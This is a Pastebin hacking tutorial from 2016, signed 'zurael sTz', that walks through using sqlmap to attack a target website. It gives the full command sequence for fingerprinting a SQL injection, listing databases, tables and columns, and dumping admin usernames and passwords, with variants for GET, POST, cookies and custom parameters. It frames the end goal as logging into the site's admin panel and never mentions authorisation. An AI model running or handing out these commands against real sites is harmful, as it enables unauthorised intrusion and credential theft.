zurael_sTz

Hacking Guide site through sqlmap (zurael sTz)

Apr 23rd, 2016
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.67 KB | None | 0 0
  1. Hacking Guide site through sqlmap
  2.  
  3. Hacker zurael sTz
  4. https://twitter.com/zurael_stz
  5.  
  6. how to use sqlmap on GET method
  7.  
  8.  
  9. - fingerprinting
  10.  
  11. first you must have a vulnerable website for the target, if you was have a target now open sqlmap and type this command
  12. ./sqlmap.py -u "http://www.target.com/index.php?id=2"
  13. sqlmap will detect vulnerable of your target and will tell you what the type of vulnerable and what is the database type. and if your target vulnerable go to next step.
  14.  
  15.  
  16. - find database name
  17.  
  18. type this command to find database name
  19. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
  20. on this step, sqlmap will find the database name of your target, for example I use "web_db" for the database name.
  21.  
  22.  
  23. - find tables name
  24.  
  25. after sqlmap find the databse name its time to find the tables name. use this command to find the table name
  26. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --tables
  27. there will show you some tables name inside "web_db" database, ok for example I use "tbl_admin" as the tables name.
  28.  
  29.  
  30. - find columns name
  31.  
  32. its time to find what inside "tbl_admin" from "web_db" and we call it columns. to find columns type this command
  33. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
  34. it will show you the list of columns name, for example I find "user" and "password" columns.
  35.  
  36.  
  37. - dump
  38.  
  39. this command will dumped data from the columns, type this command
  40. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C user,password --dump
  41. and I find "user = admin" and "password = adminpass". now go to the web and find the admin login.
  42.  
  43.  
  44.  
  45. how to use sqlmap on POST method
  46.  
  47.  
  48. its the same way with GET method, its just that you have to insert POST data to the sqlmap. for example I have vulnerable site on the "login.php" path. the POST data is "id=admin&pwd=password&submit=login". how to find the POST data ? just use "Live HTTPheaders" its a firefox add ons.
  49.  
  50.  
  51. - fingerprinting
  52.  
  53. its same way with GET method, just type this command
  54. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login"
  55.  
  56. - find database name
  57.  
  58. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --dbs
  59.  
  60. - find tables name
  61.  
  62. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db --tables
  63.  
  64. - find columns name
  65.  
  66. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin --columns
  67.  
  68. - dump
  69.  
  70. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin -C user,password --dump
  71.  
  72.  
  73. include cookie
  74.  
  75.  
  76. still same method but you just should insert the cookie
  77. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  78. or
  79. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  80.  
  81.  
  82.  
  83. custom parameter
  84.  
  85.  
  86. if you have a custom parameter to inject you can type "-p" like this command
  87. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin" -p "pwd"
  88. sqlmap will inject "pwd" parameter. or you can give star"*" to the parameter to inject, like this
  89. ./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=*password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
  90.  
  91. cover
  92.  
  93.  
  94. if you a windows users, dont use "./" to run it on cmd.
  95.  
  96. Go To Download Software: http://sqlmap.org/
Add Comment
Please, Sign In to add comment